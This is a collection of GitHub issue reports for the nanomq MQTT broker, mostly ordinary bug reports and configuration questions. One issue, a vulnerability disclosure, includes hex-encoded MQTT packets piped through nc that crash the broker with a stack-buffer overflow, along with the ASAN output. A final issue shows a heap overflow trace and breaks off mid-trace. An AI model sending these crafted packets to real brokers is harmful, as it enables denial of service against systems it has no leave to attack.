https://api.github.com/repos/nanomq/nanomq/issues/1823/comments
2
2024-07-04T09:34:56Z
2024-07-05T04:34:02Z
https://github.com/nanomq/nanomq/issues/1823
2,390,413,693
1,823
[ "emqx", "nanomq" ]
**Describe the bug** When connecting using the websocket protocol, if the username or password is empty, it will crash. **To Reproduce** Use any MQTT client at will (such as MQTTX), connect using the WebSocket protocol, set the username and password to empty, and then make the connection. The broker will crash. ** Environment Details ** - NanoMQ 0.21.10 - Windows 11
When connecting using the websocket protocol, if the username or password is empty, it will crash.
https://api.github.com/repos/nanomq/nanomq/issues/1819/comments
1
2024-07-02T08:57:32Z
2024-07-03T11:11:05Z
https://github.com/nanomq/nanomq/issues/1819
2,385,661,759
1,819
[ "emqx", "nanomq" ]
Revise <img width="839" alt="Snipaste_2024-06-30_17-26-07" src="https://github.com/nanomq/nanomq/assets/164883806/29a184a4-68d3-48ee-964b-5aaae81d9fcf"> TO <img width="720" alt="Snipaste_2024-06-30_17-26-52" src="https://github.com/nanomq/nanomq/assets/164883806/9fd62fb0-9a20-4379-8134-7f66a9bd4152">
http acl unsuccessful
https://api.github.com/repos/nanomq/nanomq/issues/1818/comments
1
2024-06-30T09:27:51Z
2024-07-03T11:01:23Z
https://github.com/nanomq/nanomq/issues/1818
2,382,167,745
1,818
[ "emqx", "nanomq" ]
**Describe the bug** In nanomq 0.22, if an MQTT client subscribes to multiple topics, then if a message matches one of the given subscriptions, then the message is received multiple times, 1 per topic, regardless if the other topic subscriptions match the incoming message or not. The bug seems to be introduced in 0.22, as nanomq 0.21 behaves as expected when subscribing to multiple topics in the same subscription. Below shows an example of the the error scenario, where only 1 message is published to the `topic1`, but it is received multiple times by the MQTT client (in this case `mosquitto_sub`). **0.22.0 - :x: Incorrect: Duplicate message delivered** ```sh docker rm nanomq -f docker run --name nanomq -d -p 1883:1883 emqx/nanomq:0.22 mosquitto_pub -r -t "topic1" -m "hello" mosquitto_sub -t topic1 -t topic2 -t topic3 -v ``` *Output* ```sh topic1 hello topic1 hello topic1 hello ``` **Expected behavior** If a client subscribes to multiple topics in the `SUBSCRIBE`, the client should only receive messages which are matching the topics and not duplicated based on non-matching topics. **Actual Behavior** The client receives duplicated messages (1 per topic) regardless if the message matches the other topics included in the SUBSCRIBE group or not. **To Reproduce** The bug can be reproduced by using the public docker `emqx/nanomq:0.22` image and `mosquitto_sub`. **0.22.0 - :x: Incorrect: Duplicate message delivered** ```sh docker rm nanomq -f docker run --name nanomq -d -p 1883:1883 emqx/nanomq:0.22 mosquitto_pub -r -t "topic1" -m "hello" mosquitto_sub -t topic1 -t topic2 -t topic3 -v ``` The output shows the `hello` message being delivered multiple times, even though there is only 1 subscription to the matching topic, `topic1`. ```sh topic1 hello topic1 hello topic1 hello ``` Adding a new unrelated subscription to the same client, shows that the received messages has increased to 4 (one per topic) ```sh mosquitto_sub -t topic1 -t topic2 -t topic3 -t topic4 -v ``` The output shows the `hello` message being delivered multiple times, even though there is only 1 subscription to the matching topic, `topic1`. *Output* ```sh topic1 hello topic1 hello topic1 hello topic1 hello ``` Reverting back to nanomq 0.21, then the subscriptions behave as expected, and only 1 message is received. **0.21.0 - :white_check_mark: Correct: Only one message delivered** ```sh docker rm nanomq -f docker run --name nanomq -d -p 1883:1883 emqx/nanomq:0.21 mosquitto_pub -r -t "topic1" -m "hello" mosquitto_sub -t topic1 -t topic2 -t topic3 -v ``` *Output* ```sh topic1 hello ``` **Environment Details** - NanoMQ version: `0.22.0` via docker image `emqx/nanomq:0.22` - Operating system and version: `MacOS` - `Darwin hostname 23.5.0 Darwin Kernel Version 23.5.0: Wed May 1 20:12:58 PDT 2024; root:xnu-10063.121.3~5/RELEASE_ARM64_T6000 arm64` - Compiler and language used: `command line, mosquitto_sub` - testing scenario **Client SDK** If possible include the mqtt sdk you used to connect to nanomq Minimal C test cases are perferred. **Additional context** Add any other context about the problem here.
nanomq 0.22 - MQTT client receives duplicate messages even if message does not match other topics in the subscription set
https://api.github.com/repos/nanomq/nanomq/issues/1817/comments
4
2024-06-28T09:45:06Z
2024-07-03T11:11:23Z
https://github.com/nanomq/nanomq/issues/1817
2,380,028,610
1,817
[ "emqx", "nanomq" ]
I need to use TLS 1.3. In fact, when I enable TLS, I can't limit it to TLS 1.3. Is this currently possible? I haven't seen an option to do this yet in the documentation.
TLS 1.3
https://api.github.com/repos/nanomq/nanomq/issues/1815/comments
2
2024-06-25T10:53:06Z
2024-07-30T09:58:42Z
https://github.com/nanomq/nanomq/issues/1815
2,372,366,292
1,815
[ "emqx", "nanomq" ]
**Describe the bug** 使用nanomq master 和 nng main 分支编译后运行,不管是否订阅主题/# 过段时间后都会自动断开连接,日志如下: 2024-06-19 21:06:07 [22091] INFO /usr/local/src/nanomq/nanomq/sub_handler.c:96 decode_sub_msg: topic: [/#] len: [2] pid [2237] 2024-06-19 21:06:25 [22093] INFO /usr/local/src/nanomq/nng/src/mqtt/protocol/mqtt/mqtt_client.c:647 mqtt_timer_cb: Send pingreq (sock0x558adfa8e8)(60000ms) 2024-06-19 21:07:07 [22089] WARN /usr/local/src/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:679 tcptran_pipe_recv_cb: nni aio recv error!! Connection shutdown 2024-06-19 21:07:07 [22089] WARN /usr/local/src/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:948 tcptran_pipe_recv_cb: tcptran_pipe_recv_cb: recv_error rv: 139 2024-06-19 21:07:25 [22094] INFO /usr/local/src/nanomq/nng/src/mqtt/protocol/mqtt/mqtt_client.c:647 mqtt_timer_cb: Send pingreq (sock0x558adfa8e8)(60000ms) 2024-06-19 21:07:43 [22085] INFO /usr/local/src/nanomq/nanomq/sub_handler.c:96 decode_sub_msg: topic: [/#] len: [2] pid [12401] 2024-06-19 21:07:50 [22087] INFO /usr/local/src/nanomq/nanomq/unsub_handler.c:190 unsub_ctx_handle: UnSub topic [/#] in client [mqttx_pjh]. pid [12402] 2024-06-19 21:07:50 [22086] INFO /usr/local/src/nanomq/nanomq/sub_handler.c:96 decode_sub_msg: topic: [/#] len: [2] pid [12403] 2024-06-19 21:08:25 [22092] INFO /usr/local/src/nanomq/nng/src/mqtt/protocol/mqtt/mqtt_client.c:647 mqtt_timer_cb: Send pingreq (sock0x558adfa8e8)(60000ms) 2024-06-19 21:08:50 [22086] ERROR /usr/local/src/nanomq/nng/src/sp/protocol/mqtt/mqtt_parser.c:129 get_value_size: Malformaed variable value detected! 2024-06-19 21:08:50 [22086] WARN /usr/local/src/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:587 nmq_tcptran_pipe_send_cb: send aio error Invalid argument 2024-06-19 21:08:50 [22086] WARN /usr/local/src/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:679 tcptran_pipe_recv_cb: nni aio recv error!! Object closed 2024-06-19 21:08:50 [22086] WARN /usr/local/src/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:948 tcptran_pipe_recv_cb: tcptran_pipe_recv_cb: recv_error rv: 139 2024-06-19 21:08:56 [22091] INFO /usr/local/src/nanomq/nanomq/sub_handler.c:96 decode_sub_msg: topic: [/#] len: [2] pid [38884] 2024-06-19 21:09:00 [22088] INFO /usr/local/src/nanomq/nanomq/unsub_handler.c:190 unsub_ctx_handle: UnSub topic [/#] in client [mqttx_pjh]. pid [38885] 2024-06-19 21:09:25 [22084] INFO /usr/local/src/nanomq/nng/src/mqtt/protocol/mqtt/mqtt_client.c:647 mqtt_timer_cb: Send pingreq (sock0x558adfa8e8)(60000ms) 2024-06-19 21:10:25 [22086] INFO /usr/local/src/nanomq/nng/src/mqtt/protocol/mqtt/mqtt_client.c:647 mqtt_timer_cb: Send pingreq (sock0x558adfa8e8)(60000ms) 2024-06-19 21:11:00 [22084] WARN /usr/local/src/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:679 tcptran_pipe_recv_cb: nni aio recv error!! Connection shutdown 2024-06-19 21:11:00 [22084] WARN /usr/local/src/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:948 tcptran_pipe_recv_cb: tcptran_pipe_recv_cb: recv_error rv: 139 2024-06-19 21:11:25 [22091] INFO /usr/local/src/nanomq/nng/src/mqtt/protocol/mqtt/mqtt_client.c:647 mqtt_timer_cb: Send pingreq (sock0x558adfa8e8)(60000ms)
Master branch (WIP ver) does not reply MQTTV5 PINGREQ
https://api.github.com/repos/nanomq/nanomq/issues/1811/comments
1
2024-06-19T13:14:53Z
2024-06-24T10:25:47Z
https://github.com/nanomq/nanomq/issues/1811
2,362,361,864
1,811
[ "emqx", "nanomq" ]
**Describe the bug** This vulnerability requires both a subscriber and a publisher. When the subscriber subscribes to a topic, the publisher sends a message with abnormal attribute fields. The broker, upon receiving this message, reconstructs it while forwarding it to the subscriber, resulting in a stack overflow due to out-of-bounds attribute reading. **To Reproduce** Let's open a client to initiate a subscription request: ``` echo 101000044d5154540502003a032100140000821400010000012b0500012b00000678785901210014 | xxd -p -r | nc 127.0.0.1 1883 ``` Let's then open up a client to initiate the publish request: the ``` echo 101000044d5154540502003c0321001400003a0c00044d5154540400010b0000 | xxd -p -r | nc 127.0.0.1 1883 ``` ASAN report: ``` ================================================================= ==38073==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fac3a7fb8b4 at pc 0x556b4b301837 bp 0x7fac3a7fb810 sp 0x7fac3a7fb800 WRITE of size 1 at 0x7fac3a7fb8b4 thread T4 (nng:task) #0 0x556b4b301836 in write_variable_length_value /home/ubuntu/nanomq/nng/src/supplemental/mqtt/mqtt_codec.c:2779 #1 0x556b4b2f712a in nni_mqtt_msg_append_varint /home/ubuntu/nanomq/nng/src/supplemental/mqtt/mqtt_codec.c:725 #2 0x556b4b309bfd in encode_properties /home/ubuntu/nanomq/nng/src/supplemental/mqtt/mqtt_codec.c:4262 #3 0x556b4b23bd98 in encode_pub_message /home/ubuntu/nanomq/nanomq/pub_handler.c:1472 #4 0x556b4b278902 in server_cb /home/ubuntu/nanomq/nanomq/apps/broker.c:584 #5 0x556b4b2ae5fe in nni_taskq_thread /home/ubuntu/nanomq/nng/src/core/taskq.c:47 #6 0x556b4b2af89b in nni_thr_wrap /home/ubuntu/nanomq/nng/src/core/thread.c:94 #7 0x556b4b2b83d5 in nni_plat_thr_main /home/ubuntu/nanomq/nng/src/platform/posix/posix_thread.c:266 #8 0x7fac3f980608 in start_thread /build/glibc-LcI20x/glibc-2.31/nptl/pthread_create.c:477 #9 0x7fac3f874352 in __clone (/lib/x86_64-linux-gnu/libc.so.6+0x11f352) ``` **Environment Details** - NanoMQ version: Git Commit #ffd0e7b3f776feae6ebcdd7be5f4ba0be228a3c1 - Operating system and version: Ubuntu20.04 - Compiler and language used: Clang **Client SDK** If possible include the mqtt sdk you used to connect to nanomq Minimal C test cases are perferred. **Additional context** By School of Cyber Science and Technology, Shandong University
One statck overflow in publish property encode
https://api.github.com/repos/nanomq/nanomq/issues/1810/comments
2
2024-06-16T04:01:14Z
2024-07-05T03:59:20Z
https://github.com/nanomq/nanomq/issues/1810
2,355,407,502
1,810
[ "emqx", "nanomq" ]
Hello, I am not sure this qualify as a bug but at least it would be nice to clarify the behaviour. I try to dig in the docs and github but I have not found anything about this. **Describe the bug** As soon as I enable authentication of client through HTTP, ACL can exclusively be done through HTTP as well. nanomq_acl.conf and other param about ACL are ignored. **Expected behavior** What I expected is that if I comment out the ACL part of the http auth and that I define the following conf: - no_match = allow - deny_action = ignore - {"permit": "allow"} in the ACL rules This should not try to perform the ACL query through HTTP and allow publish and subscribe to any topic. **Actual Behavior** The actual behaviour is that I can connect fine to the broker but as soon as I publish or subscribe I get disconnected. In the logs I get either: `handle_pub: Auth failed! publish packet!` OR `sub_ctx_handle: topic: [#] HTTP AUTH fail, set SUBACK reason_code: [135]` **To Reproduce** Start the broker with the following auth conf: ``` auth { allow_anonymous = false # Allow clients to connect without providing username/password no_match = allow # Default action if no ACL rules match deny_action = ignore # Action to take if an ACL check rejects an operation cache = { max_size = 32 # Maximum number of ACL entries to cache for a client ttl = 1m # Time after which an ACL cache entry will be deleted } acl = {include "./nanomq_acl.conf"} # Path to the ACL configuration file http_auth = { auth_req { url = "http://127.0.0.1:8000/api/login" # HTTP URL API path for Auth Request method = "POST" # HTTP Request Method for Auth Request headers.content-type = "application/json" # HTTP Request Headers for Auth Request params = {login = "%u", password = "%P"} # Parameters to construct request body } timeout = 5s # Time-out time for the request connect_timeout = 5s # Connection time-out time pool_size = 4 # Connection process pool size } } ``` And inside nanomq_acl.conf: ``` rules = [ {"permit": "allow"} ] ``` **Environment Details** - NanoMQ version 0.21.10 - Ubuntu 22.04 **Client SDK** I am using mqtt explorer 0.4.0 Cheers!
ACL can exclusively done through HTTP if HTTP auth is enabled
https://api.github.com/repos/nanomq/nanomq/issues/1808/comments
2
2024-06-05T12:10:07Z
2024-07-04T07:35:38Z
https://github.com/nanomq/nanomq/issues/1808
2,335,735,015
1,808
[ "emqx", "nanomq" ]
Using org. eclipse. paho. mqttv5. client exception, connection returned error code 130. windows11 nanomq-0.21.10-windows-x86_64
org.eclipse.paho.mqttv5.client
https://api.github.com/repos/nanomq/nanomq/issues/1807/comments
5
2024-06-05T01:52:07Z
2024-07-15T09:31:57Z
https://github.com/nanomq/nanomq/issues/1807
2,334,741,083
1,807
[ "emqx", "nanomq" ]
I'm using the `emqx/nanomq:0.21-full` docker image on raspberry pi 5. With this config: `nanomq.conf` ``` webhook = { url = "http://x.x.x.x:8000/" headers.content-type = "application/json" body.encoding = "plain" pool_size = 32 events = [ { event = "on_message_publish" topic = "a/b/c" } ] } ``` ## mqtt client ```bash $ nanomq_cli pub -t a/b/c -m hello ``` ## webhook server ```bash $ ncat -vlk 8000 POST / HTTP/1.1 Host: x.x.x.x:8000 content-type: application/json Content-Length: 164 {"ts":-498365439,"topic":"a/b/c","retain":false,"qos":0,"action":"message_publish","from_username":"undefined","from_client_id":"nanomq-5fb5c285","payload":"hello"} ``` As you can see: `ts` is not a valid timestamp. References: - https://github.com/nanomq/nanomq/blob/master/nanomq/webhook_post.c#L132 - https://nanomq.io/docs/en/latest/rule/web-hook-0.19.html
webhook received invalid "ts" value
https://api.github.com/repos/nanomq/nanomq/issues/1806/comments
5
2024-06-04T08:17:30Z
2024-07-22T03:35:03Z
https://github.com/nanomq/nanomq/issues/1806
2,332,865,094
1,806
[ "emqx", "nanomq" ]
ref : https://github.com/nanomq/nanomq/issues/1803 in my case NanoMQ is operating in a secure, isolated network environment where access control is managed at the network level. Therefore, requiring authentication for the Prometheus endpoint adds unnecessary complexity to the monitoring setup. By allowing the option to disable authentication, it would streamline the process of collecting metrics and enhance the overall efficiency of my monitoring system. I believe this feature would be beneficial to other users who have similar secure environments and need a simpler way to integrate Prometheus with NanoMQ.
Obtain Prometheus metrics without requiring authentication
https://api.github.com/repos/nanomq/nanomq/issues/1804/comments
1
2024-06-03T17:04:34Z
2024-07-31T21:34:13Z
https://github.com/nanomq/nanomq/issues/1804
2,331,645,808
1,804
[ "emqx", "nanomq" ]
Can we get Prometheus metrics from nanomq without any authentication? I attempted using the following configuration, but it was unsuccessful. http_server { enable = true port = 8081 limit_conn = 200 allow_anonymous = true auth_type=none }
How to obtain Prometheus metrics without requiring authentication?
https://api.github.com/repos/nanomq/nanomq/issues/1803/comments
2
2024-06-02T02:53:34Z
2024-06-03T16:43:24Z
https://github.com/nanomq/nanomq/issues/1803
2,329,438,938
1,803
[ "emqx", "nanomq" ]
**Describe the bug** A clear and concise description of what the bug is. I use a script in JS based on mqttJS client already validated with other brokers. I noticed that if I send multiple parallel request of subscription from same client (using mqtt over websocket, I didn't tested mqtt raw), without waiting before the response, some of subscription request are lost. With other brokers that is managed correctly. **Expected behavior** A clear and concise description of what you expected to happen. Broker able to manage multiple subscriptions requests in parallel. **Actual Behavior** Describe what occurred. If I send multiple request in parallel, some are lost **To Reproduce** If possible include actual reproduction test code here. Minimal C test cases are perferred. - In js, with mqttjs, open a connection - From client send multiple request in parallel without waiting response before, i.e.: client.subscribe(subscribetopic1, options) client.subscribe(subscribetopic2, options) client.subscribe(subscribetopic3, options) client.subscribe(subscribetopic3, options) **Environment Details** - NanoMQ version: docker: emqx/nanomq:0.21-full - Operating system and version: win - Compiler and language used: nodejs 20 - testing scenario: js client on host, broker in Docker **Client SDK** If possible include the mqtt sdk you used to connect to nanomq Minimal C test cases are perferred. sdk: mqttjs code: see previous response **Additional context** Add any other context about the problem here.
Cuncurrent subscribe request are lost
https://api.github.com/repos/nanomq/nanomq/issues/1802/comments
4
2024-06-01T09:43:59Z
2024-07-12T11:34:14Z
https://github.com/nanomq/nanomq/issues/1802
2,329,042,310
1,802
[ "emqx", "nanomq" ]
**Describe the bug** A clear and concise description of what the bug is. I have a working configuration with Mosquitto + a reverse proxy and I would replace it with nanomq. My aim is forward the websocket to a sub path of ngnix I configured nanomq in this way: # MQTT listener listeners.tcp = { bind = "0.0.0.0:1883" # The listener binds to all network interfaces on port 1883 } # WebSocket listener listeners.ws { bind = "0.0.0.0:8000" # Bind to all network interfaces on port 8083 } # Log settings log = { to = [file, console] # Destination of the logs level = "warn" # Log level dir = "/tmp" # Directory for log files file = "nanomq.log" # Filename for the log file rotation = { size = "10MB" # Maximum size of each log file count = 5 # Maximum rotation count of log files } } # Allow anonymous connections auth { allow_anonymous = true # Allow clients to connect without providing username/password } And the ngnix: location /mqtt { proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; proxy_set_header Host $host; proxy_pass http://localbroker:8000; } How said before, the ngnix configuration works fine for a similar configuration with Mosquitto, but not for nanoMQ. I tried to use directly ws without ngnix and works fine. **Expected behavior** A clear and concise description of what you expected to happen. Correct forward of mqtt websocket in subpath /mqtt **Actual Behavior** Describe what occurred. The ngnix say they don't found the source and so doesn't forwrd connection. **To Reproduce** If possible include actual reproduction test code here. Minimal C test cases are perferred. **Environment Details** - NanoMQ version latest docker - Operating system and version Linux ubuntu 22.04 - Compiler and language used N.A - testing scenario **Client SDK** If possible include the mqtt sdk you used to connect to nanomq Minimal C test cases are perferred. N.A **Additional context** Add any other context about the problem here.
Issue using nanoMQ behind reverse proxy ngnix
https://api.github.com/repos/nanomq/nanomq/issues/1801/comments
6
2024-05-31T00:29:28Z
2024-07-19T08:48:42Z
https://github.com/nanomq/nanomq/issues/1801
2,326,761,246
1,801
[ "emqx", "nanomq" ]
**Describe the bug** When retain in forwards is not set. ``` bridge.mqtt.emqx.forwards.1.remote_topic=fwd/topic1 bridge.mqtt.emqx.forwards.1.local_topic=topic1 ``` No forwards information are printed when NanoMQ started. ``` 2024-05-28 23:50:50 [196650] INFO /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:3281 print_bridge_conf: bridge.mqtt.emqx.qcongestion_control: 1 2024-05-28 23:50:50 [196650] INFO /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:3283 print_bridge_conf: bridge.mqtt.emqx.quic_0rtt: true 2024-05-28 23:50:50 [196650] INFO /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:3287 print_bridge_conf: bridge.mqtt.emqx.tls.enable: false 2024-05-28 23:50:50 [196650] INFO /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:3295 print_bridge_conf: bridge.mqtt.emqx.forwards: 2024-05-28 23:50:50 [196650] INFO /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:3307 print_bridge_conf: bridge.mqtt.emqx.subscription: 2024-05-28 23:50:50 [196650] INFO /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:3310 print_bridge_conf: [1] remote topic: jaylin/1 2024-05-28 23:50:50 [196650] INFO /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:3313 print_bridge_conf: [1] local topic: jaylin/2 2024-05-28 23:50:50 [196650] INFO /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:3316 print_bridge_conf: [1] qos: 1 2024-05-28 23:50:50 [196650] INFO /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:3318 print_bridge_conf: [1] rap: 1 2024-05-28 23:50:50 [196650] INFO /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:3320 print_bridge_conf: [1] rh: 1 ``` Meanwhile some leaks found. ``` ================================================================= ==196888==ERROR: LeakSanitizer: detected memory leaks Direct leak of 11 byte(s) in 1 object(s) allocated from: #0 0x7fc8c10d8cc7 in calloc (/lib64/libasan.so.8+0xd8cc7) (BuildId: 542ad02088f38edfdba9d4bfa465b2299f512d3e) #1 0x7d5221 in strtrim_head_tail /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:108 #2 0x7d60bd in get_conf_value /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:275 #3 0x7e3741 in conf_bridge_node_parse_forwards /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:2622 #4 0x7e7582 in conf_bridge_node_parse_with_name /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:3016 #5 0x7e7ab2 in conf_bridge_content_parse /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:3057 #6 0x7e8072 in conf_bridge_parse /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:3072 #7 0x7d97e6 in conf_parse /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:635 #8 0x737c94 in broker_start /home/wangha/Documents/nanomq/nanomq/apps/broker.c:1775 #9 0x72cac0 in main /home/wangha/Documents/nanomq/nanomq/nanomq.c:142 #10 0x7fc8bfe49b89 in __libc_start_call_main (/lib64/libc.so.6+0x27b89) (BuildId: f888be5f5e7d58e04cabb8c675c7ab94e77dd68c) #11 0x7fc8bfe49c4a in __libc_start_main_alias_2 (/lib64/libc.so.6+0x27c4a) (BuildId: f888be5f5e7d58e04cabb8c675c7ab94e77dd68c) #12 0x6e8e84 in _start (/home/wangha/Documents/nanomq/build/nanomq/nanomq+0x6e8e84) (BuildId: f53c8027906b2f56e12856101314e9ed69ceebea) Direct leak of 7 byte(s) in 1 object(s) allocated from: #0 0x7fc8c10d8cc7 in calloc (/lib64/libasan.so.8+0xd8cc7) (BuildId: 542ad02088f38edfdba9d4bfa465b2299f512d3e) #1 0x7d5221 in strtrim_head_tail /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:108 #2 0x7d60bd in get_conf_value /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:275 #3 0x7e3822 in conf_bridge_node_parse_forwards /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:2632 #4 0x7e7582 in conf_bridge_node_parse_with_name /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:3016 #5 0x7e7ab2 in conf_bridge_content_parse /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:3057 #6 0x7e8072 in conf_bridge_parse /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:3072 #7 0x7d97e6 in conf_parse /home/wangha/Documents/nanomq/nng/src/supplemental/nanolib/conf.c:635 #8 0x737c94 in broker_start /home/wangha/Documents/nanomq/nanomq/apps/broker.c:1775 #9 0x72cac0 in main /home/wangha/Documents/nanomq/nanomq/nanomq.c:142 #10 0x7fc8bfe49b89 in __libc_start_call_main (/lib64/libc.so.6+0x27b89) (BuildId: f888be5f5e7d58e04cabb8c675c7ab94e77dd68c) #11 0x7fc8bfe49c4a in __libc_start_main_alias_2 (/lib64/libc.so.6+0x27c4a) (BuildId: f888be5f5e7d58e04cabb8c675c7ab94e77dd68c) #12 0x6e8e84 in _start (/home/wangha/Documents/nanomq/build/nanomq/nanomq+0x6e8e84) (BuildId: f53c8027906b2f56e12856101314e9ed69ceebea) SUMMARY: AddressSanitizer: 18 byte(s) leaked in 2 allocation(s). ```
Bridge forwards will not take effect until retain is set in old_conf.
https://api.github.com/repos/nanomq/nanomq/issues/1799/comments
1
2024-05-29T03:59:09Z
2024-05-31T02:55:03Z
https://github.com/nanomq/nanomq/issues/1799
2,322,301,402
1,799
[ "emqx", "nanomq" ]
**Describe the bug** When using a conf file with the listener port set to anything, it is ignored and still uses 1883. **Expected behavior** Must use that file's listener port. **Actual Behavior** Ignores the set port. **To Reproduce** 1. Using master branch, compile it with `cmake . -B ./build -G Ninja && ninja -C ./build` 2. Go to ./build/nanomq 3. Create `nanomq.conf` file with the content: ```conf listeners.tcp.mqtt { bind = "0.0.0.0:11883" } ``` 4. Run with `./nanomq start --conf ./nanomq.conf` 5. Use the CLI or an MQTT client and connect to `mqtt://127.0.0.1:1883`, it succeeds 6. Now try connecting to `mqtt://127.0.0.1:11883`, it fails **Environment Details** - NanoMQ version: 0.21.10 - Operating system and version: Ubuntu 22.04.4 LTS - Compiler and language used: gcc, C - testing scenario: via terminal **Client SDK** MQTTX **Additional context** Setting the url manually works `./nanomq start --url nmq-tcp://0.0.0.0:11883`, but it specifically only works with "nmq-tcp" protocol, not with "mqtt-tcp". I assume the latter is just not an option.
Using conf file `listeners.tcp.*`'s port is ignored?
https://api.github.com/repos/nanomq/nanomq/issues/1794/comments
3
2024-05-20T16:57:58Z
2024-05-21T09:22:06Z
https://github.com/nanomq/nanomq/issues/1794
2,306,388,954
1,794
[ "emqx", "nanomq" ]
**Describe the bug** A clear and concise description of what the bug is. 我使用了retain持久化配置 sqlite { disk_cache_size = 102400 mounted_file_path = "/usr/local/etc/" flush_mem_threshold = 100 resend_interval = 5000 } 使用桥接功能,当从emqx发送 retain 消息桥接到nanomq Topic: /node/ad345be3b320d/t123QoS: 0 {"msg": "ret111"} Topic: /node/ad345be3b320d/t123QoS: 0 {"msg": "ret222"} Topic: /node/ad345be3b320d/t123QoS: 0 {"msg": "ret333"} nanomq的客户端连接后都是拿到消息:{"msg": "ret111"} 只有重启nanomq,nanomq的客户端连接后才能拿到消息{"msg": "ret333"}
How to preserve retain flag in bridging?
https://api.github.com/repos/nanomq/nanomq/issues/1790/comments
2
2024-05-17T11:38:45Z
2024-07-11T14:51:52Z
https://github.com/nanomq/nanomq/issues/1790
2,302,506,985
1,790
[ "emqx", "nanomq" ]
**Describe the bug** `CONNECT` package with `User Property` may lead to unexpected behaviors **To Reproduce** Use MQTTX to connect to nanomq with `User Properties` ``` ==218138==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006031 at pc 0x646a30f28c3f bp 0x718a6e5f88f0 sp 0x718a6e5f88e0 READ of size 1 at 0x602000006031 thread T7 #0 0x646a30f28c3e in get_utf8_str /home/hermann/Documents/hermannDocuments/nanomq/nng/src/sp/protocol/mqtt/mqtt_parser.c:200 #1 0x646a30f6edcd in check_properties /home/hermann/Documents/hermannDocuments/nanomq/nng/src/supplemental/mqtt/mqtt_codec.c:3939 #2 0x646a30f2b658 in conn_handler /home/hermann/Documents/hermannDocuments/nanomq/nng/src/sp/protocol/mqtt/mqtt_parser.c:617 #3 0x646a310253b1 in tcptran_pipe_nego_cb /home/hermann/Documents/hermannDocuments/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:373 #4 0x646a30f14afc in nni_taskq_thread /home/hermann/Documents/hermannDocuments/nanomq/nng/src/core/taskq.c:47 #5 0x646a30f15da3 in nni_thr_wrap /home/hermann/Documents/hermannDocuments/nanomq/nng/src/core/thread.c:94 #6 0x646a30f1e94e in nni_plat_thr_main /home/hermann/Documents/hermannDocuments/nanomq/nng/src/platform/posix/posix_thread.c:266 #7 0x718a74c94ac2 in start_thread nptl/pthread_create.c:442 #8 0x718a74d2684f (/lib/x86_64-linux-gnu/libc.so.6+0x12684f) 0x602000006031 is located 0 bytes to the right of 1-byte region [0x602000006030,0x602000006031) allocated by thread T7 here: #0 0x718a750b4887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145 #1 0x646a30f19d9e in nni_alloc /home/hermann/Documents/hermannDocuments/nanomq/nng/src/platform/posix/posix_alloc.c:20 #2 0x646a30f6a1db in mqtt_buf_dup /home/hermann/Documents/hermannDocuments/nanomq/nng/src/supplemental/mqtt/mqtt_codec.c:3117 #3 0x646a30f6a472 in mqtt_kv_dup /home/hermann/Documents/hermannDocuments/nanomq/nng/src/supplemental/mqtt/mqtt_codec.c:3153 #4 0x646a30f6dabc in property_parse /home/hermann/Documents/hermannDocuments/nanomq/nng/src/supplemental/mqtt/mqtt_codec.c:3711 #5 0x646a30f6f5a0 in decode_buf_properties /home/hermann/Documents/hermannDocuments/nanomq/nng/src/supplemental/mqtt/mqtt_codec.c:4019 #6 0x646a30f2b5a7 in conn_handler /home/hermann/Documents/hermannDocuments/nanomq/nng/src/sp/protocol/mqtt/mqtt_parser.c:613 #7 0x646a310253b1 in tcptran_pipe_nego_cb /home/hermann/Documents/hermannDocuments/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:373 #8 0x646a30f14afc in nni_taskq_thread /home/hermann/Documents/hermannDocuments/nanomq/nng/src/core/taskq.c:47 #9 0x646a30f15da3 in nni_thr_wrap /home/hermann/Documents/hermannDocuments/nanomq/nng/src/core/thread.c:94 #10 0x646a30f1e94e in nni_plat_thr_main /home/hermann/Documents/hermannDocuments/nanomq/nng/src/platform/posix/posix_thread.c:266 #11 0x718a74c94ac2 in start_thread nptl/pthread_create.c:442 Thread T7 created by T0 here: #0 0x718a75058685 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:216 #1 0x646a30f1ea7e in nni_plat_thr_init /home/hermann/Documents/hermannDocuments/nanomq/nng/src/platform/posix/posix_thread.c:279 #2 0x646a30f1604f in nni_thr_init /home/hermann/Documents/hermannDocuments/nanomq/nng/src/core/thread.c:121 #3 0x646a30f14e1e in nni_taskq_init 